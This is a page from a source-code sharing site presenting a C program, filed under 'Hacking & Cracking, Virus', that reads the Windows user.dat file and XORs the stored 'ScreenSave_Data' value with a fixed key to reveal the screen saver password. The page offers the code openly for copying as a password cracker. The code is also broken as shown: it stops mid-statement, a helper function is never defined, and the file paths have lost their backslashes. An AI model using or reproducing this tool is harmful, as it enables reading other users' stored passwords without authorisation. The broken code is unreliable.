Add to Favorites    Make Home Page 152 Online  

 Language Categories  
 Our Services  

Home » C Home » Hacking & Cracking, Virus Home » ScreenSaver Password Cracker

Title ScreenSaver Password Cracker
Author Rammoorthy
Author Email rammoorthy2002 [at] yahoo.com
Description This code lets you know the Screen Saver Password. You can now know how they encrypt the password, how we can decrypt it.
Category C » Hacking & Cracking, Virus
Hits 34612
Code Select and Copy the Code
/* Screen Saveer Password Cracker: Decrypts Screen Saver Password which is stored in user.dat. */ #include<ctype.h> #include<stdio.h> #include<string.h> FILE *fp; char *path="c:\windows\user.dat"; /*encrypted password stored in this file when u log on to default user.. If there r multiple users..Password stored in \windowsprofilesuser-nameuser.dat... */ unsigned long int search(char *s); char *encstr(unsigned long int loc); int toint(char a); void main() { unsigned long int l; char s[51]; int arr[]={4,8,14,14,7,6,1,13,6,7,6,9,10,1,1,11,7,10,8,12,4,7, 15,8,5,4,9,5,9,7,5,15,7,8,13,9,13,10,6,12,5,9,13,7,6,11,3,5,12,5}; //this array is 2 b xored with encrypted-string int s1[51],s2[51]; int i,len,k; clrscr(); l=search("ScreenSave_Data"); strcpy(s,encstr(l)); len=strlen(s); for(i=0;i<len;i++) { s1[i]=toint(s[i]); s2[i]=(s1[i])^(arr[i]); } printf("Current Screen Saver Password: "); for(i=0;i<len;i+=2) printf("%c", (s2[i]*16)+(s2[i+1]) ); } /* Searches where ScreenSave_Data is there in the file and returns the location*/ unsigned long int search(char *s) { int k=0,len,ch; unsigned long int i=0; fp=fopen(path,"rb"); len=strlen(s); while( (ch=getc(fp))!=EOF) { if(ch==s[k]) k++; else k=0; i++; if(k==len) return i; } } /* It returns Encrypted String*/ char *encstr(unsigned long int loc) { char ch,s[55],ch1; int i=0; ch=toascii(0); fp=fopen(path,"rb"); fseek(fp,loc,SEEK_SET); while( (ch1=fgetc(fp))!=ch) { s[i]=ch1; i++; } s[i]='

Related Source Codes

Script Name Author
gjcphvod VyomWorld
gjcphvod VyomWorld
gjcphvod VyomWorld
gjcphvod VyomWorld
The Game Opposite as seen on Nokia 2300 Mobile Manikanta
RECURSIVE BALANCED QUICK SORT ashish
Radix Sort ashish
Change your mouse pointer Ashim
The blinking star Shashank
Data Validation Crylittlebaby
To search a file by giving file type like mp3 or mpeg or doc Prashanth SR
Menus Demonstration B.Chidhambaram
Employee Database Project Using C. Reenku Raman Nayak
Creating a Lexical Analyzer in c fahad bader al-buhairi فهد بدر البحيري
Calendar Program Omkar & Devendra

New! Click here to Add your Code!


ASP Home | C Home | C++ Home | COBOL Home | Java Home | Pascal Home
Source Codes Home Page

Google Search

Google


Download Yahoo Messenger | Placement Papers | Free SMS | C Interview Questions | C++ Interview Questions | Quick2Host Review